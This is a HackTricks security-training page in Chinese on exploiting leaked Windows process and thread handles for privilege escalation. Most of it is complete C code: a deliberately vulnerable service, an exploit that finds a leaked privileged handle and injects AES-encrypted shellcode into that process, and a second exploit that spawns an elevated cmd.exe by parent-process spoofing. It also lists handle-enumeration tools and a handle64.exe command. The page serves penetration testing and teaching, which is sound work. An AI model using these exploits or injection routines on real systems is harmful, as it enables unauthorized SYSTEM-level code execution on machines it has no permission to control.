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688 lines
23 KiB
Markdown
688 lines
23 KiB
Markdown
# Leaked Handle Exploitation
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{{#include ../../banners/hacktricks-training.md}}
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## 介绍
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进程中的句柄允许**访问**不同的**Windows资源**：
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.png>)
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已经有几个**特权升级**案例，其中一个**特权进程**具有**打开和可继承的句柄**，并且**运行**了一个**无特权进程**，使其**访问所有这些句柄**。
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例如，想象一下**一个以SYSTEM身份运行的进程打开一个新进程**（`OpenProcess()`）并具有**完全访问权限**。同一个进程**还创建了一个新进程**（`CreateProcess()`），**具有低权限但继承了主进程的所有打开句柄**。\
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然后，如果你对这个低权限进程**拥有完全访问权限**，你可以获取**通过`OpenProcess()`创建的特权进程的打开句柄**并**注入一个shellcode**。
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## **有趣的句柄**
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### **进程**
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正如你在最初的例子中所读到的，如果一个**无特权进程继承了一个特权进程的句柄**，并且具有足够的权限，它将能够在其上执行**任意代码**。
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在[**这篇优秀的文章**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/)中，你可以看到如何利用任何具有以下权限的进程句柄：
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- PROCESS_ALL_ACCESS
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- PROCESS_CREATE_PROCESS
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- PROCESS_CREATE_THREAD
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- PROCESS_DUP_HANDLE
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- PROCESS_VM_WRITE
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### 线程
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与进程句柄类似，如果一个**无特权进程继承了一个特权进程的线程句柄**，并且具有足够的权限，它将能够在其上执行**任意代码**。
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在[**这篇优秀的文章**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/)中，你也可以看到如何利用任何具有以下权限的进程句柄：
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- THREAD_ALL_ACCESS
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- THREAD_DIRECT_IMPERSONATION
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- THREAD_SET_CONTEXT
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### 文件、键和节句柄
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如果一个**无特权进程继承了**一个**具有写入**等效**权限**的**句柄**，并且该句柄指向一个**特权文件或注册表**，它将能够**覆盖**该文件/注册表（并且在很多**运气**下，**提升特权**）。
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**节句柄**类似于文件句柄，这类[对象的通用名称是**“文件映射”**](https://docs.microsoft.com/en-us/windows/win32/memory/file-mapping)。它们用于处理**大文件而不将整个**文件保留在内存中。这使得利用的方式在某种程度上与文件句柄的利用“相似”。
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## 如何查看进程的句柄
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### Process Hacker
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[**Process Hacker**](https://github.com/processhacker/processhacker)是一个可以免费下载的工具。它有几个出色的选项来检查进程，其中之一是**查看每个进程的句柄的能力**。
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请注意，为了**查看所有进程的所有句柄，需要SeDebugPrivilege**（因此你需要以管理员身份运行Process Hacker）。
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要查看进程的句柄，右键单击该进程并选择句柄：
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.png>)
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然后你可以右键单击句柄并**检查权限**：
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.png>)
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### Sysinternals Handles
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[**Handles**](https://docs.microsoft.com/en-us/sysinternals/downloads/handle)二进制文件来自Sysinternals，也将在控制台中列出每个进程的句柄：
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.png>)
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### LeakedHandlesFinder
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[**这个工具**](https://github.com/lab52io/LeakedHandlesFinder)允许你**监控**泄漏的**句柄**，甚至**自动利用**它们来提升特权。
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### 方法论
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现在你知道如何找到进程的句柄，你需要检查的是是否有任何**无特权进程正在访问特权句柄**。在这种情况下，进程的用户可能能够获取该句柄并利用它来提升特权。
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> [!WARNING]
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> 之前提到过，你需要SeDebugPrivilege才能访问所有句柄。但**用户仍然可以访问其进程的句柄**，因此如果你想仅从该用户进行特权升级，使用**用户常规权限执行工具**可能会很有用。
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>
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> ```bash
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> handle64.exe /a | findstr /r /i "process thread file key pid:"
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> ```
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## 漏洞示例
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例如，以下代码属于一个**Windows服务**，该服务将是脆弱的。该服务二进制文件的脆弱代码位于**`Exploit`**函数内部。该函数开始**创建一个具有完全访问权限的新句柄进程**。然后，它**创建一个低权限进程**（通过复制低权限的_token_来自_explorer.exe_）执行_C:\users\username\desktop\client.exe_。**漏洞在于它以`bInheritHandles`为`TRUE`创建低权限进程**。
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因此，这个低权限进程能够获取首先创建的高权限进程的句柄并注入和执行一个shellcode（见下一节）。
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```c
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#include <windows.h>
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#include <tlhelp32.h>
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#include <tchar.h>
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#pragma comment (lib, "advapi32")
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TCHAR* serviceName = TEXT("HandleLeakSrv");
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SERVICE_STATUS serviceStatus;
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SERVICE_STATUS_HANDLE serviceStatusHandle = 0;
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HANDLE stopServiceEvent = 0;
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//Find PID of a proces from its name
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int FindTarget(const char *procname) {
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HANDLE hProcSnap;
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PROCESSENTRY32 pe32;
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int pid = 0;
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hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
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if (INVALID_HANDLE_VALUE == hProcSnap) return 0;
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pe32.dwSize = sizeof(PROCESSENTRY32);
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if (!Process32First(hProcSnap, &pe32)) {
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CloseHandle(hProcSnap);
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return 0;
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}
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while (Process32Next(hProcSnap, &pe32)) {
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if (lstrcmpiA(procname, pe32.szExeFile) == 0) {
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pid = pe32.th32ProcessID;
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break;
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}
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}
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CloseHandle(hProcSnap);
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return pid;
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}
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int Exploit(void) {
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STARTUPINFOA si;
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PROCESS_INFORMATION pi;
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int pid = 0;
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HANDLE hUserToken;
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HANDLE hUserProc;
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HANDLE hProc;
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// open a handle to itself (privileged process) - this gets leaked!
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hProc = OpenProcess(PROCESS_ALL_ACCESS, TRUE, GetCurrentProcessId());
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// get PID of user low privileged process
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if ( pid = FindTarget("explorer.exe") )
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hUserProc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid);
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else
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return -1;
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// extract low privilege token from a user's process
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if (!OpenProcessToken(hUserProc, TOKEN_ALL_ACCESS, &hUserToken)) {
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CloseHandle(hUserProc);
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return -1;
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}
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// spawn a child process with low privs and leaked handle
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ZeroMemory(&si, sizeof(si));
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si.cb = sizeof(si);
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ZeroMemory(&pi, sizeof(pi));
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CreateProcessAsUserA(hUserToken, "C:\\users\\username\\Desktop\\client.exe",
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NULL, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);
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CloseHandle(hProc);
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CloseHandle(hUserProc);
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return 0;
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}
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void WINAPI ServiceControlHandler( DWORD controlCode ) {
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switch ( controlCode ) {
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case SERVICE_CONTROL_SHUTDOWN:
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case SERVICE_CONTROL_STOP:
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serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;
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SetServiceStatus( serviceStatusHandle, &serviceStatus );
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SetEvent( stopServiceEvent );
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return;
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case SERVICE_CONTROL_PAUSE:
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break;
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case SERVICE_CONTROL_CONTINUE:
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break;
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case SERVICE_CONTROL_INTERROGATE:
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break;
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default:
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break;
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}
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SetServiceStatus( serviceStatusHandle, &serviceStatus );
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}
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void WINAPI ServiceMain( DWORD argc, TCHAR* argv[] ) {
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// initialise service status
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serviceStatus.dwServiceType = SERVICE_WIN32;
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serviceStatus.dwCurrentState = SERVICE_STOPPED;
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serviceStatus.dwControlsAccepted = 0;
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serviceStatus.dwWin32ExitCode = NO_ERROR;
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serviceStatus.dwServiceSpecificExitCode = NO_ERROR;
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serviceStatus.dwCheckPoint = 0;
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serviceStatus.dwWaitHint = 0;
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serviceStatusHandle = RegisterServiceCtrlHandler( serviceName, ServiceControlHandler );
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if ( serviceStatusHandle ) {
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// service is starting
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serviceStatus.dwCurrentState = SERVICE_START_PENDING;
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SetServiceStatus( serviceStatusHandle, &serviceStatus );
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// do initialisation here
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stopServiceEvent = CreateEvent( 0, FALSE, FALSE, 0 );
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// running
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serviceStatus.dwControlsAccepted |= (SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);
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serviceStatus.dwCurrentState = SERVICE_RUNNING;
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SetServiceStatus( serviceStatusHandle, &serviceStatus );
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Exploit();
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WaitForSingleObject( stopServiceEvent, -1 );
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// service was stopped
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serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;
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SetServiceStatus( serviceStatusHandle, &serviceStatus );
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// do cleanup here
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CloseHandle( stopServiceEvent );
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stopServiceEvent = 0;
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// service is now stopped
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serviceStatus.dwControlsAccepted &= ~(SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);
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serviceStatus.dwCurrentState = SERVICE_STOPPED;
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SetServiceStatus( serviceStatusHandle, &serviceStatus );
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}
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}
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void InstallService() {
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SC_HANDLE serviceControlManager = OpenSCManager( 0, 0, SC_MANAGER_CREATE_SERVICE );
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if ( serviceControlManager ) {
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TCHAR path[ _MAX_PATH + 1 ];
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if ( GetModuleFileName( 0, path, sizeof(path)/sizeof(path[0]) ) > 0 ) {
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SC_HANDLE service = CreateService( serviceControlManager,
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serviceName, serviceName,
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SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS,
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SERVICE_AUTO_START, SERVICE_ERROR_IGNORE, path,
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0, 0, 0, 0, 0 );
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if ( service )
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CloseServiceHandle( service );
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}
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CloseServiceHandle( serviceControlManager );
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}
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}
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void UninstallService() {
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SC_HANDLE serviceControlManager = OpenSCManager( 0, 0, SC_MANAGER_CONNECT );
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if ( serviceControlManager ) {
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SC_HANDLE service = OpenService( serviceControlManager,
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serviceName, SERVICE_QUERY_STATUS | DELETE );
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if ( service ) {
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SERVICE_STATUS serviceStatus;
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if ( QueryServiceStatus( service, &serviceStatus ) ) {
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if ( serviceStatus.dwCurrentState == SERVICE_STOPPED )
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DeleteService( service );
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}
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CloseServiceHandle( service );
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}
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CloseServiceHandle( serviceControlManager );
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}
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}
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int _tmain( int argc, TCHAR* argv[] )
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{
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if ( argc > 1 && lstrcmpi( argv[1], TEXT("install") ) == 0 ) {
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InstallService();
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}
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else if ( argc > 1 && lstrcmpi( argv[1], TEXT("uninstall") ) == 0 ) {
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UninstallService();
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}
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else {
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SERVICE_TABLE_ENTRY serviceTable[] = {
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{ serviceName, ServiceMain },
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{ 0, 0 }
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};
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StartServiceCtrlDispatcher( serviceTable );
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}
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return 0;
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}
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```
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### Exploit Example 1
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> [!NOTE]
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> 在实际场景中，您可能**无法控制将由易受攻击的代码执行的二进制文件**（在这种情况下为 _C:\users\username\desktop\client.exe_）。您可能会**妥协一个进程，并需要查看是否可以访问任何特权进程的易受攻击句柄**。
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在这个例子中，您可以找到 _C:\users\username\desktop\client.exe_ 的一个可能利用的代码。\
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这段代码中最有趣的部分位于 `GetVulnProcHandle`。这个函数将**开始获取所有句柄**，然后**检查它们是否属于同一个 PID**，并且句柄是否属于一个**进程**。如果满足所有这些要求（找到一个可访问的打开进程句柄），它将尝试**注入并执行一个利用该进程句柄的 shellcode**。\
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shellcode 的注入是在 **`Inject`** 函数内部完成的，它将**在特权进程内部写入 shellcode，并在同一进程内部创建一个线程来执行 shellcode**。
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```c
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#include <windows.h>
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#include <stdio.h>
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#include <stdlib.h>
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#include <string.h>
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#include <time.h>
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#include <wincrypt.h>
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#include <psapi.h>
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#include <tchar.h>
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#include <tlhelp32.h>
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#include "client.h"
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#pragma comment (lib, "crypt32.lib")
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#pragma comment (lib, "advapi32")
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#pragma comment (lib, "kernel32")
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int AESDecrypt(char * payload, unsigned int payload_len, char * key, size_t keylen) {
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HCRYPTPROV hProv;
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HCRYPTHASH hHash;
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HCRYPTKEY hKey;
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if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)){
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return -1;
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}
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if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)){
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return -1;
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}
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if (!CryptHashData(hHash, (BYTE*)key, (DWORD)keylen, 0)){
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return -1;
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}
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if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0,&hKey)){
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return -1;
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}
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if (!CryptDecrypt(hKey, (HCRYPTHASH) NULL, 0, 0, payload, &payload_len)){
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return -1;
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}
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CryptReleaseContext(hProv, 0);
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CryptDestroyHash(hHash);
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CryptDestroyKey(hKey);
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return 0;
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}
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HANDLE GetVulnProcHandle(void) {
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ULONG handleInfoSize = 0x10000;
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NTSTATUS status;
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PSYSTEM_HANDLE_INFORMATION phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) malloc(handleInfoSize);
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HANDLE hProc = NULL;
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POBJECT_TYPE_INFORMATION objectTypeInfo;
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PVOID objectNameInfo;
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UNICODE_STRING objectName;
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ULONG returnLength;
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HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
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DWORD dwOwnPID = GetCurrentProcessId();
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pNtQuerySystemInformation = GetProcAddress(hNtdll, "NtQuerySystemInformation");
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pNtDuplicateObject = GetProcAddress(hNtdll, "NtDuplicateObject");
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pNtQueryObject = GetProcAddress(hNtdll, "NtQueryObject");
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pRtlEqualUnicodeString = GetProcAddress(hNtdll, "RtlEqualUnicodeString");
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pRtlInitUnicodeString = GetProcAddress(hNtdll, "RtlInitUnicodeString");
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printf("[+] Grabbing handles...");
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while ((status = pNtQuerySystemInformation( SystemHandleInformation, phHandleInfo, handleInfoSize,
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NULL )) == STATUS_INFO_LENGTH_MISMATCH)
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phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) realloc(phHandleInfo, handleInfoSize *= 2);
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if (status != STATUS_SUCCESS)
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{
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printf("[!] NtQuerySystemInformation failed!\n");
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return 0;
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}
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printf("done.\n[+] Fetched %d handles.\n", phHandleInfo->NumberOfHandles);
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// iterate handles until we find the privileged process handle
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for (int i = 0; i < phHandleInfo->NumberOfHandles; ++i)
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{
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SYSTEM_HANDLE_TABLE_ENTRY_INFO handle = phHandleInfo->Handles[i];
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// Check if this handle belongs to our own process
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if (handle.UniqueProcessId != dwOwnPID)
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continue;
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objectTypeInfo = (POBJECT_TYPE_INFORMATION) malloc(0x1000);
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if (pNtQueryObject( (HANDLE) handle.HandleValue,
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ObjectTypeInformation,
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objectTypeInfo,
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0x1000,
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NULL ) != STATUS_SUCCESS)
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continue;
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// skip some objects to avoid getting stuck
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// see: https://github.com/adamdriscoll/PoshInternals/issues/7
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if (handle.GrantedAccess == 0x0012019f
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&& handle.GrantedAccess != 0x00120189
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&& handle.GrantedAccess != 0x120089
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&& handle.GrantedAccess != 0x1A019F ) {
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free(objectTypeInfo);
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continue;
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}
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// get object name information
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objectNameInfo = malloc(0x1000);
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if (pNtQueryObject( (HANDLE) handle.HandleValue,
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ObjectNameInformation,
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objectNameInfo,
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0x1000,
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&returnLength ) != STATUS_SUCCESS) {
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// adjust the size of a returned object and query again
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objectNameInfo = realloc(objectNameInfo, returnLength);
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if (pNtQueryObject( (HANDLE) handle.HandleValue,
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ObjectNameInformation,
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objectNameInfo,
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returnLength,
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NULL ) != STATUS_SUCCESS) {
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free(objectTypeInfo);
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free(objectNameInfo);
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continue;
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}
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}
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// check if we've got a process object
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objectName = *(PUNICODE_STRING) objectNameInfo;
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UNICODE_STRING pProcess;
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pRtlInitUnicodeString(&pProcess, L"Process");
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if (pRtlEqualUnicodeString(&objectTypeInfo->TypeName, &pProcess, TRUE)) {
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printf("[+] Found process handle (%x)\n", handle.HandleValue);
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hProc = (HANDLE) handle.HandleValue;
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free(objectTypeInfo);
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free(objectNameInfo);
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break;
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}
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else
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continue;
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free(objectTypeInfo);
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free(objectNameInfo);
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}
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return hProc;
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}
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|
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int Inject(HANDLE hProc, unsigned char * payload, unsigned int payload_len) {
|
||
|
||
LPVOID pRemoteCode = NULL;
|
||
HANDLE hThread = NULL;
|
||
BOOL bStatus = FALSE;
|
||
|
||
pVirtualAllocEx = GetProcAddress(GetModuleHandle("kernel32.dll"), "VirtualAllocEx");
|
||
pWriteProcessMemory = GetProcAddress(GetModuleHandle("kernel32.dll"), "WriteProcessMemory");
|
||
pRtlCreateUserThread = GetProcAddress(GetModuleHandle("ntdll.dll"), "RtlCreateUserThread");
|
||
|
||
pRemoteCode = pVirtualAllocEx(hProc, NULL, payload_len, MEM_COMMIT, PAGE_EXECUTE_READ);
|
||
pWriteProcessMemory(hProc, pRemoteCode, (PVOID)payload, (SIZE_T)payload_len, (SIZE_T *)NULL);
|
||
|
||
bStatus = (BOOL) pRtlCreateUserThread(hProc, NULL, 0, 0, 0, 0, pRemoteCode, NULL, &hThread, NULL);
|
||
if (bStatus != FALSE) {
|
||
WaitForSingleObject(hThread, -1);
|
||
CloseHandle(hThread);
|
||
return 0;
|
||
}
|
||
else
|
||
return -1;
|
||
}
|
||
|
||
int main(int argc, char **argv) {
|
||
|
||
int pid = 0;
|
||
HANDLE hProc = NULL;
|
||
|
||
// AES encrypted shellcode spawning notepad.exe (ExitThread)
|
||
char key[] = { 0x49, 0xbc, 0xa5, 0x1d, 0xa7, 0x3d, 0xd6, 0x0, 0xee, 0x2, 0x29, 0x3e, 0x9b, 0xb2, 0x8a, 0x69 };
|
||
unsigned char payload[] = { 0x6b, 0x98, 0xe8, 0x38, 0xaf, 0x82, 0xdc, 0xd4, 0xda, 0x57, 0x15, 0x48, 0x2f, 0xf0, 0x4e, 0xd3, 0x1a, 0x70, 0x6d, 0xbf, 0x53, 0xa8, 0xcb, 0xbb, 0xbb, 0x38, 0xf6, 0x4e, 0xee, 0x84, 0x36, 0xe5, 0x25, 0x76, 0xce, 0xb0, 0xf6, 0x39, 0x22, 0x76, 0x36, 0x3c, 0xe1, 0x13, 0x18, 0x9d, 0xb1, 0x6e, 0x0, 0x55, 0x8a, 0x4f, 0xb8, 0x2d, 0xe7, 0x6f, 0x91, 0xa8, 0x79, 0x4e, 0x34, 0x88, 0x24, 0x61, 0xa4, 0xcf, 0x70, 0xdb, 0xef, 0x25, 0x96, 0x65, 0x76, 0x7, 0xe7, 0x53, 0x9, 0xbf, 0x2d, 0x92, 0x25, 0x4e, 0x30, 0xa, 0xe7, 0x69, 0xaf, 0xf7, 0x32, 0xa6, 0x98, 0xd3, 0xbe, 0x2b, 0x8, 0x90, 0x0, 0x9e, 0x3f, 0x58, 0xed, 0x21, 0x69, 0xcb, 0x38, 0x5d, 0x5e, 0x68, 0x5e, 0xb9, 0xd6, 0xc5, 0x92, 0xd1, 0xaf, 0xa2, 0x5d, 0x16, 0x23, 0x48, 0xbc, 0xdd, 0x2a, 0x9f, 0x3c, 0x22, 0xdb, 0x19, 0x24, 0xdf, 0x86, 0x4a, 0xa2, 0xa0, 0x8f, 0x1a, 0xe, 0xd6, 0xb7, 0xd2, 0x6c, 0x6d, 0x90, 0x55, 0x3e, 0x7d, 0x9b, 0x69, 0x87, 0xad, 0xd7, 0x5c, 0xf3, 0x1, 0x7c, 0x93, 0x1d, 0xaa, 0x40, 0xf, 0x15, 0x48, 0x5b, 0xad, 0x6, 0xb5, 0xe5, 0xb9, 0x92, 0xae, 0x9b, 0xdb, 0x9a, 0x9b, 0x4e, 0x44, 0x45, 0xdb, 0x9f, 0x28, 0x90, 0x9e, 0x63, 0x23, 0xf2, 0xca, 0xab, 0xa7, 0x68, 0xbc, 0x31, 0xb4, 0xf9, 0xbb, 0x73, 0xd4, 0x56, 0x94, 0x2c, 0x63, 0x47, 0x21, 0x84, 0xa2, 0xb6, 0x91, 0x23, 0x8f, 0xa0, 0x46, 0x76, 0xff, 0x3f, 0x75, 0xd, 0x51, 0xc5, 0x70, 0x26, 0x1, 0xcf, 0x23, 0xbf, 0x97, 0xb2, 0x8d, 0x66, 0x35, 0xc8, 0xe3, 0x2, 0xf6, 0xbd, 0x44, 0x83, 0xf2, 0x80, 0x4c, 0xd0, 0x7d, 0xa3, 0xbd, 0x33, 0x8e, 0xe8, 0x6, 0xbc, 0xdc, 0xff, 0xe0, 0x96, 0xd9, 0xdc, 0x87, 0x2a, 0x81, 0xf3, 0x53, 0x37, 0x16, 0x3a, 0xcc, 0x3c, 0x34, 0x4, 0x9c, 0xc6, 0xbb, 0x12, 0x72, 0xf3, 0xa3, 0x94, 0x5d, 0x19, 0x43, 0x56, 0xa8, 0xba, 0x2a, 0x1d, 0x12, 0xeb, 0xd2, 0x6e, 0x79, 0x65, 0x2a };
|
||
unsigned int payload_len = sizeof(payload);
|
||
|
||
printf("My PID: %d\n", GetCurrentProcessId());
|
||
getchar();
|
||
|
||
// find a leaked handle to a process
|
||
hProc = GetVulnProcHandle();
|
||
|
||
if ( hProc != NULL) {
|
||
|
||
// d#Decrypt payload
|
||
AESDecrypt((char *) payload, payload_len, key, sizeof(key));
|
||
printf("[+] Sending gift...");
|
||
// Inject and run the payload in the privileged context
|
||
Inject(hProc, payload, payload_len);
|
||
printf("done.\n");
|
||
}
|
||
getchar();
|
||
|
||
return 0;
|
||
}
|
||
```
|
||
### Exploit Example 2
|
||
|
||
> [!NOTE]
|
||
> 在实际场景中，您可能**无法控制将由易受攻击的代码执行的二进制文件**（在这种情况下为 _C:\users\username\desktop\client.exe_）。您可能会**妥协一个进程，并需要查看是否可以访问任何特权进程的易受攻击句柄**。
|
||
|
||
在这个例子中，**不是滥用打开的句柄来注入**和执行 shellcode，而是**使用特权打开句柄进程的令牌来创建一个新的进程**。这在第 138 行到第 148 行完成。
|
||
|
||
注意如何使用**函数 `UpdateProcThreadAttribute`**与**属性 `PROC_THREAD_ATTRIBUTE_PARENT_PROCESS` 和打开的特权进程的句柄**。这意味着**执行 `cmd.exe` 的创建进程线程将具有与打开句柄进程相同的令牌权限**。
|
||
```c
|
||
#include <windows.h>
|
||
#include <stdio.h>
|
||
#include <stdlib.h>
|
||
#include <string.h>
|
||
#include <time.h>
|
||
#include <wincrypt.h>
|
||
#include <psapi.h>
|
||
#include <tchar.h>
|
||
#include <tlhelp32.h>
|
||
#include "client.h"
|
||
#pragma comment (lib, "crypt32.lib")
|
||
#pragma comment (lib, "advapi32")
|
||
#pragma comment (lib, "kernel32")
|
||
|
||
|
||
HANDLE GetVulnProcHandle(void) {
|
||
|
||
ULONG handleInfoSize = 0x10000;
|
||
NTSTATUS status;
|
||
PSYSTEM_HANDLE_INFORMATION phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) malloc(handleInfoSize);
|
||
HANDLE hProc = NULL;
|
||
POBJECT_TYPE_INFORMATION objectTypeInfo;
|
||
PVOID objectNameInfo;
|
||
UNICODE_STRING objectName;
|
||
ULONG returnLength;
|
||
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
|
||
DWORD dwOwnPID = GetCurrentProcessId();
|
||
|
||
pNtQuerySystemInformation = GetProcAddress(hNtdll, "NtQuerySystemInformation");
|
||
pNtDuplicateObject = GetProcAddress(hNtdll, "NtDuplicateObject");
|
||
pNtQueryObject = GetProcAddress(hNtdll, "NtQueryObject");
|
||
pRtlEqualUnicodeString = GetProcAddress(hNtdll, "RtlEqualUnicodeString");
|
||
pRtlInitUnicodeString = GetProcAddress(hNtdll, "RtlInitUnicodeString");
|
||
|
||
printf("[+] Grabbing handles...");
|
||
|
||
while ((status = pNtQuerySystemInformation( SystemHandleInformation, phHandleInfo, handleInfoSize,
|
||
NULL )) == STATUS_INFO_LENGTH_MISMATCH)
|
||
phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) realloc(phHandleInfo, handleInfoSize *= 2);
|
||
|
||
if (status != STATUS_SUCCESS)
|
||
{
|
||
printf("[!] NtQuerySystemInformation failed!\n");
|
||
return 0;
|
||
}
|
||
|
||
printf("done.\n[+] Fetched %d handles.\n", phHandleInfo->NumberOfHandles);
|
||
|
||
// iterate handles until we find the privileged process handle
|
||
for (int i = 0; i < phHandleInfo->NumberOfHandles; ++i)
|
||
{
|
||
SYSTEM_HANDLE_TABLE_ENTRY_INFO handle = phHandleInfo->Handles[i];
|
||
|
||
// Check if this handle belongs to our own process
|
||
if (handle.UniqueProcessId != dwOwnPID)
|
||
continue;
|
||
|
||
objectTypeInfo = (POBJECT_TYPE_INFORMATION) malloc(0x1000);
|
||
if (pNtQueryObject( (HANDLE) handle.HandleValue,
|
||
ObjectTypeInformation,
|
||
objectTypeInfo,
|
||
0x1000,
|
||
NULL ) != STATUS_SUCCESS)
|
||
continue;
|
||
|
||
// skip some objects to avoid getting stuck
|
||
// see: https://github.com/adamdriscoll/PoshInternals/issues/7
|
||
if (handle.GrantedAccess == 0x0012019f
|
||
&& handle.GrantedAccess != 0x00120189
|
||
&& handle.GrantedAccess != 0x120089
|
||
&& handle.GrantedAccess != 0x1A019F ) {
|
||
free(objectTypeInfo);
|
||
continue;
|
||
}
|
||
|
||
// get object name information
|
||
objectNameInfo = malloc(0x1000);
|
||
if (pNtQueryObject( (HANDLE) handle.HandleValue,
|
||
ObjectNameInformation,
|
||
objectNameInfo,
|
||
0x1000,
|
||
&returnLength ) != STATUS_SUCCESS) {
|
||
|
||
// adjust the size of a returned object and query again
|
||
objectNameInfo = realloc(objectNameInfo, returnLength);
|
||
if (pNtQueryObject( (HANDLE) handle.HandleValue,
|
||
ObjectNameInformation,
|
||
objectNameInfo,
|
||
returnLength,
|
||
NULL ) != STATUS_SUCCESS) {
|
||
free(objectTypeInfo);
|
||
free(objectNameInfo);
|
||
continue;
|
||
}
|
||
}
|
||
|
||
// check if we've got a process object
|
||
objectName = *(PUNICODE_STRING) objectNameInfo;
|
||
UNICODE_STRING pProcess;
|
||
|
||
pRtlInitUnicodeString(&pProcess, L"Process");
|
||
if (pRtlEqualUnicodeString(&objectTypeInfo->TypeName, &pProcess, TRUE)) {
|
||
printf("[+] Found process handle (%x)\n", handle.HandleValue);
|
||
hProc = (HANDLE) handle.HandleValue;
|
||
free(objectTypeInfo);
|
||
free(objectNameInfo);
|
||
break;
|
||
}
|
||
else
|
||
continue;
|
||
|
||
free(objectTypeInfo);
|
||
free(objectNameInfo);
|
||
}
|
||
|
||
return hProc;
|
||
}
|
||
|
||
|
||
int main(int argc, char **argv) {
|
||
|
||
HANDLE hProc = NULL;
|
||
STARTUPINFOEXA si;
|
||
PROCESS_INFORMATION pi;
|
||
int pid = 0;
|
||
SIZE_T size;
|
||
BOOL ret;
|
||
|
||
Sleep(20000);
|
||
// find leaked process handle
|
||
hProc = GetVulnProcHandle();
|
||
|
||
if ( hProc != NULL) {
|
||
|
||
// Adjust proess attributes with PROC_THREAD_ATTRIBUTE_PARENT_PROCESS
|
||
ZeroMemory(&si, sizeof(STARTUPINFOEXA));
|
||
|
||
InitializeProcThreadAttributeList(NULL, 1, 0, &size);
|
||
si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST) HeapAlloc( GetProcessHeap(), 0, size );
|
||
|
||
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &size);
|
||
UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hProc, sizeof(HANDLE), NULL, NULL);
|
||
|
||
si.StartupInfo.cb = sizeof(STARTUPINFOEXA);
|
||
|
||
// Spawn elevated cmd process
|
||
ret = CreateProcessA( "C:\\Windows\\system32\\cmd.exe", NULL, NULL, NULL, TRUE,
|
||
EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOA)(&si), &pi );
|
||
|
||
if (ret == FALSE) {
|
||
printf("[!] Error spawning new process: [%d]\n", GetLastError());
|
||
return -1;
|
||
}
|
||
}
|
||
|
||
Sleep(20000);
|
||
return 0;
|
||
}
|
||
```
|
||
## 其他工具和示例
|
||
|
||
- [**https://github.com/lab52io/LeakedHandlesFinder**](https://github.com/lab52io/LeakedHandlesFinder)
|
||
|
||
该工具允许您监控泄漏的句柄，以找到易受攻击的句柄，甚至可以自动利用它们。它还具有泄漏一个句柄的工具。
|
||
|
||
- [**https://github.com/abankalarm/ReHacks/tree/main/Leaky%20Handles**](https://github.com/abankalarm/ReHacks/tree/main/Leaky%20Handles)
|
||
|
||
另一个泄漏句柄并利用它的工具。
|
||
|
||
## 参考文献
|
||
|
||
- [http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/)
|
||
- [https://github.com/lab52io/LeakedHandlesFinder](https://github.com/lab52io/LeakedHandlesFinder)
|
||
- [https://googleprojectzero.blogspot.com/2016/03/exploiting-leaked-thread-handle.html](https://googleprojectzero.blogspot.com/2016/03/exploiting-leaked-thread-handle.html)
|
||
|
||
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|